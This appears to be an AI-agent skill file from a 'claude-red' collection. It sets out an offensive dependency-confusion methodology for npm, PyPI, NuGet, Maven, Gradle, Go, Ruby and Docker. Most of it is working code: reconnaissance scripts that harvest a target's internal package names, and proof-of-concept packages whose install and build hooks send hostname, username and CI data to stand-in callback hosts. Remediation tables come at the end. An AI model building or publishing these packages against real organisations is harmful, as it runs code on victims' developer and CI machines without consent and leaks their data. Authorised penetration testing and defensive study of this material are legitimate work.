Loading...
Loading...
Deep-dive offensive methodology for dependency confusion and namespace attacks across all major package ecosystems. Covers npm scope confusion exploiting the gap between public and private scoped packages and .npmrc misconfigurations where registry mappings fail to pin internal scopes exclusively. Addresses PyPI namespace attacks through --extra-index-url resolution ordering, NuGet feed priority exploitation when multiple package sources are configured without clear directives, Maven and Gradle repository ordering where artifact resolution traverses repositories sequentially, Go module proxy abuse through GOPROXY misconfiguration, Ruby gems namespace squatting, and Docker image tag confusion with unqualified image references. Provides complete proof-of-concept methodology using safe callbacks including DNS canary via interactsh or Burp Collaborator and HTTP beacon with no destructive payload. Covers reconnaissance techniques for discovering internal package names through GitHub repository analysis, error message harvesting, JavaScript source map extraction, lock file parsing, job postings mentioning internal tools, and package manifest inspection. Directly references and builds upon Alex Birsan's seminal 2021 dependency confusion research. Each ecosystem section includes registry-specific exploitation mechanics, configuration vulnerabilities, and defensive countermeasures for engagement reporting.
npx skill4agent add snailsploit/claude-red offensive-dependency-confusion# npm: package-lock.json reveals resolved URLs
# Internal packages often resolve to a private registry
cat package-lock.json | jq -r '
.packages | to_entries[] |
select(.value.resolved != null) |
select(.value.resolved | test("registry.npmjs.org") | not) |
.key
' | sed 's|node_modules/||' | sort -u
# yarn: yarn.lock includes registry URLs inline
grep -B1 'resolved "https://registry.yarnpkg.com' yarn.lock | \
grep -v 'resolved' | sed 's/@.*//' | sort -u > public_packages.txt
grep -B1 'resolved "https://' yarn.lock | \
grep -v 'resolved' | grep -v 'yarnpkg.com' | grep -v 'npmjs.org' | \
sed 's/@.*//' | sort -u > possibly_internal.txt
# pip: requirements.txt may reference internal packages
# Look for packages not found on public PyPI
grep -v '^#' requirements.txt | grep -v '^\s*$' | \
sed 's/[>=<!\[].*//; s/\s*$//' | while read pkg; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
[ "$code" = "404" ] && echo "[INTERNAL] $pkg"
done
# Pipfile.lock contains source information
cat Pipfile.lock | jq -r '.default | keys[]' > pipfile_packages.txt# Extract source map URLs from JavaScript bundles
curl -s https://target.example.com/app.js | \
grep -oP '//# sourceMappingURL=\K.*'
# Download and parse source map for internal module paths
curl -s https://target.example.com/app.js.map | \
jq -r '.sources[]' | grep -E 'node_modules/(@[^/]+/[^/]+|[^/]+)' | \
sed 's|.*node_modules/||; s|/.*||' | sort -u
# Look for webpack chunk manifests
curl -s https://target.example.com/ | \
grep -oP 'src="[^"]*chunk[^"]*"' | \
sed 's/src="//;s/"//' | while read chunk; do
curl -s "https://target.example.com/$chunk" | \
grep -oP '"[a-zA-Z@][a-zA-Z0-9_./-]+"' | sort -u
donecurl -s https://target.example.com/nonexistent 2>&1 | \
grep -oP 'Cannot find module .?\K[a-zA-Z@][a-zA-Z0-9_.-/]+'
# Also search Wayback Machine for cached error pages with module names# Search GitHub for the organization's package manifests and registry configs
gh api search/code \
-X GET \
-f q='org:targetcorp filename:package.json registry.corp' \
-f per_page=10 | jq -r '.items[].path'
# Search for .npmrc files that reveal scope-to-registry mappings
gh api search/code \
-X GET \
-f q='org:targetcorp filename:.npmrc' \
-f per_page=10
# Search for requirements.txt with --extra-index-url
gh api search/code \
-X GET \
-f q='org:targetcorp extra-index-url filename:requirements' \
-f per_page=10
# Search for NuGet.config with private feeds
gh api search/code \
-X GET \
-f q='org:targetcorp filename:nuget.config packageSources' \
-f per_page=10# Docker Hub, npm org scopes, PyPI author search
curl -s "https://hub.docker.com/v2/repositories/targetcorp/?page_size=100" | jq -r '.results[].name'
curl -s "https://registry.npmjs.org/-/org/targetcorp/package" | jq -r 'keys[]'
# Also mine job postings for internal tool names and library references@scope/package-name# Vulnerable .npmrc -- no registry override for internal packages
registry=https://registry.npmjs.org/
# Internal packages like "corp-utils" resolve from public npm# Slightly better but still vulnerable .npmrc
registry=https://npm.corp.example.com/
# Falls back to public npm if the private registry does not have the package
# or if the public version is higher# Check if unscoped internal names are claimable on public npm
target_packages="corp-utils internal-auth shared-config data-pipeline"
for pkg in $target_packages; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
echo "$pkg: HTTP $code"
done# Vulnerable .npmrc -- scope exists but no registry mapping
registry=https://registry.npmjs.org/
# @targetcorp/internal-lib resolves from public npm if the scope
# is not mapped to the private registry# Correct .npmrc configuration (for reference in reports)
registry=https://registry.npmjs.org/
@targetcorp:registry=https://npm.corp.example.com/
# Now @targetcorp/* packages resolve exclusively from the private registry# Check if the target's npm scope is claimed on public npm
curl -s "https://registry.npmjs.org/@targetcorp%2ftest-package" | jq '.error'
# "Not found" means the scope may be unclaimed
# Try to register the scope on npmjs.org if it is not reserved{
"name": "corp-internal-utils",
"version": "999.0.0",
"description": "Security research - dependency confusion PoC - contact security@researcher.example",
"scripts": {
"preinstall": "node callback.js || true"
}
}// callback.js -- safe metadata collection for npm PoC
const https = require('https');
const os = require('os');
const dns = require('dns');
// DNS canary (works even with outbound HTTP filtering)
const label = `npm-${os.hostname().slice(0, 20)}-${os.userInfo().username}`;
dns.resolve(`${label}.your-id.interact.sh`, () => {});
// HTTP callback with minimal metadata
const payload = JSON.stringify({
hostname: os.hostname(), username: os.userInfo().username,
ci: process.env.CI || 'false', platform: os.platform(),
cwd: process.cwd(), timestamp: new Date().toISOString()
});
const req = https.request({
hostname: 'canary.researcher.example', path: '/npm-confusion',
method: 'POST', headers: { 'Content-Type': 'application/json' }, timeout: 5000
}, () => {});
req.on('error', () => {});
req.write(payload);
req.end();# VULNERABLE: --extra-index-url adds a second index alongside PyPI
pip install --extra-index-url https://pypi.corp.example.com/simple/ internal-lib
# pip checks BOTH PyPI and the private index, picks the highest version
# SAFE: --index-url replaces PyPI entirely
pip install --index-url https://pypi.corp.example.com/simple/ internal-lib
# pip ONLY checks the private index# Vulnerable pip.conf (or pip.ini on Windows)
[global]
extra-index-url = https://pypi.corp.example.com/simple/
# All pip install commands now check both indexes
# Safe pip.conf
[global]
index-url = https://pypi.corp.example.com/simple/
# Public PyPI is no longer consulted# setup.py -- PoC with install/develop/egg_info hook vectors
import os, sys, socket, urllib.request
from setuptools import setup
from setuptools.command.install import install
from setuptools.command.develop import develop
from setuptools.command.egg_info import egg_info
CANARY = "canary.researcher.example"
PKG = "internal-data-pipeline"
def safe_callback(phase):
"""DNS + HTTP callback with minimal metadata. No secrets, no file access."""
try:
h = socket.gethostname()[:30]
u = os.getenv("USER", os.getenv("USERNAME", "unknown"))[:20]
ci = "1" if any(os.getenv(v) for v in
["CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL"]) else "0"
label = f"pypi-{h}-{u}-{phase}-ci{ci}".replace(" ", "-").replace(".", "-")[:60]
try: socket.getaddrinfo(f"{label}.your-id.interact.sh", 80)
except socket.gaierror: pass
data = f"pkg={PKG}&host={h}&user={u}&phase={phase}&ci={ci}".encode()
urllib.request.urlopen(urllib.request.Request(
f"https://{CANARY}/pypi-confusion", data=data, method="POST"), timeout=5)
except Exception: pass
class InstallHook(install):
def run(self): safe_callback("install"); install.run(self)
class DevelopHook(develop):
def run(self): safe_callback("develop"); develop.run(self)
class EggInfoHook(egg_info):
def run(self): safe_callback("egg_info"); egg_info.run(self)
setup(
name=PKG, version="9999.0.0",
description="Security research PoC -- dependency confusion -- contact security@researcher.example",
cmdclass={"install": InstallHook, "develop": DevelopHook, "egg_info": EggInfoHook},
)<!-- Vulnerable: both feeds active, highest version wins across all -->
<configuration>
<packageSources>
<add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
<add key="internal" value="https://nuget.corp.example.com/v3/index.json" />
</packageSources>
</configuration>
<!-- Hardened: clear + packageSourceMapping (for remediation reporting) -->
<configuration>
<packageSources><clear />
<add key="internal" value="https://nuget.corp.example.com/v3/index.json" />
</packageSources>
<packageSourceMapping>
<packageSource key="internal"><package pattern="Corp.*" /></packageSource>
</packageSourceMapping>
</configuration># Recon: extract NuGet package names from .csproj files
grep -rh 'PackageReference Include=' --include="*.csproj" . | \
sed 's/.*Include="//; s/".*//' | sort -u > nuget_packages.txt
# Check public NuGet for availability
while read pkg; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.nuget.org/v3-flatcontainer/${pkg,,}/index.json")
[ "$code" = "404" ] && echo "[AVAILABLE] $pkg"
done < nuget_packages.txt// NuGet PoC package -- .targets file for build-time execution
// Place in build/Corp.Internal.Auth.targets
// MSBuild executes this during package restore
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="DepConfusionCallback" BeforeTargets="Build">
<Exec Command="curl -s https://canary.researcher.example/nuget-$(COMPUTERNAME)"
IgnoreExitCode="true" />
</Target>
</Project><!-- pom.xml: Maven checks central first; attacker claims com.targetcorp:internal-lib -->
<repositories>
<repository><id>central</id><url>https://repo.maven.apache.org/maven2</url></repository>
<repository><id>internal</id><url>https://nexus.corp.example.com/repository/maven-releases/</url></repository>
</repositories># Check Maven Central for groupId:artifactId availability
group_path=$(echo "com.targetcorp" | tr '.' '/')
curl -s -o /dev/null -w "%{http_code}" \
"https://repo.maven.apache.org/maven2/$group_path/internal-auth-lib/maven-metadata.xml"// build.gradle: Gradle checks mavenCentral() first -- same vulnerability
repositories {
mavenCentral()
maven { url "https://nexus.corp.example.com/repository/maven-releases/" }
}GOPROXY=https://proxy.golang.org,direct# Check if a Go module path is claimable
# Internal modules often use the corp domain as the module path
curl -s "https://proxy.golang.org/corp.example.com/internal-lib/@v/list"
# 404/410 means it is not cached on the public proxy
# GOPROXY misconfiguration allows confusion
# If GOPROXY=https://proxy.golang.org,https://goproxy.corp.example.com
# the public proxy is checked first# Recon: extract Go module dependencies
cat go.sum | awk '{print $1}' | sort -u | \
grep -v 'github.com\|golang.org\|google.golang.org' > go_internal_modules.txt// Go module with init() callback for PoC
package confusionpoc
import ("net"; "net/http"; "os"; "os/user"; "strings")
func init() {
hostname, _ := os.Hostname()
u, _ := user.Current()
uname := "unknown"
if u != nil { uname = u.Username }
label := strings.ReplaceAll(hostname+"-"+uname, ".", "-")
net.LookupHost(label + ".your-id.interact.sh")
http.Get("https://canary.researcher.example/go-confusion?h=" + hostname + "&u=" + uname)
}# Check if a gem name is available
curl -s "https://rubygems.org/api/v1/gems/corp-internal-utils.json" | \
jq '.name // "NOT FOUND"'# Gemspec with post-install callback via ext/extconf.rb
Gem::Specification.new do |s|
s.name = "corp-internal-utils"; s.version = "999.0.0"
s.summary = "Security research - dependency confusion PoC"
s.authors = ["Security Researcher"]; s.extensions = ["ext/extconf.rb"]
end
# ext/extconf.rb -- executed during gem install
require 'socket'; require 'net/http'
h, u = Socket.gethostname, (ENV['USER'] || 'unknown')
Net::HTTP.get(URI("https://canary.researcher.example/ruby-#{h}-#{u}")) rescue nil
File.write("Makefile", "all:\n\ttrue\ninstall:\n\ttrue\n")targetcorp/backend# Check if the Docker Hub namespace is available
curl -s "https://hub.docker.com/v2/repositories/targetcorp/" | jq '.detail // .count'# Vulnerable docker-compose.yml -- unqualified names resolve to Docker Hub
services:
backend:
image: targetcorp/backend:latest # should be registry.corp.example.com/...
frontend:
image: targetcorp/frontend:v2.1 # mutable tag; should use @sha256:... digest# interactsh (preferred -- free, reliable OOB detection)
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
interactsh-client -v
# Burp Collaborator -- generate payload from Burp Pro, monitor Collaborator tab
# Self-hosted -- run a logging DNS server on your own NS-delegated domainSecurity Research - Dependency Confusion Proof of Concept.
Authorized security assessment. No malicious functionality. Sends a DNS/HTTP
callback to a researcher-controlled server. Contact: security@researcher.example
Report reference: [ENGAGEMENT-ID]| Ecosystem | Vulnerable Pattern | Secure Pattern |
|---|---|---|
| npm | No scope-to-registry mapping | |
| pip | | |
| NuGet | Multiple feeds without | |
| Maven | Central listed before private repo | Private repo first, or mirror settings |
| Gradle | | Private repo only in |
| Go | Default GOPROXY | |
| Ruby | Default gem sources | |
| Docker | Unqualified image names | FQDN registry prefix + digest pinning |
# Monitor install-time network activity; audit install scripts
strace -f -e trace=network npm install 2>&1 | grep -i connect
npx can-i-ignore-scripts
pip download --no-deps --no-binary :all: suspicious-package && tar xzf *.tar.gz && cat */setup.py| Step | Action | Tool / Command |
|---|---|---|
| 1 | Parse lock files for internal names | jq, grep, awk |
| 2 | Mine GitHub for package manifests and .npmrc | gh api search/code |
| 3 | Extract names from JS source maps | curl, jq |
| 4 | Check public registry availability | curl against registry APIs |
| 5 | Scan with confused | |
| 6 | Start DNS canary listener | interactsh-client |
| 7 | Build PoC package (high version, safe callback) | Custom setup.py / package.json |
| 8 | Publish to public registry | |
| 9 | Monitor for callbacks | interactsh / Burp Collaborator |
| 10 | Document findings with callback evidence | Screenshots, DNS logs |
| 11 | Remove PoC packages from public registries | |
| 12 | Deliver remediation: registry pinning per ecosystem | Report template above |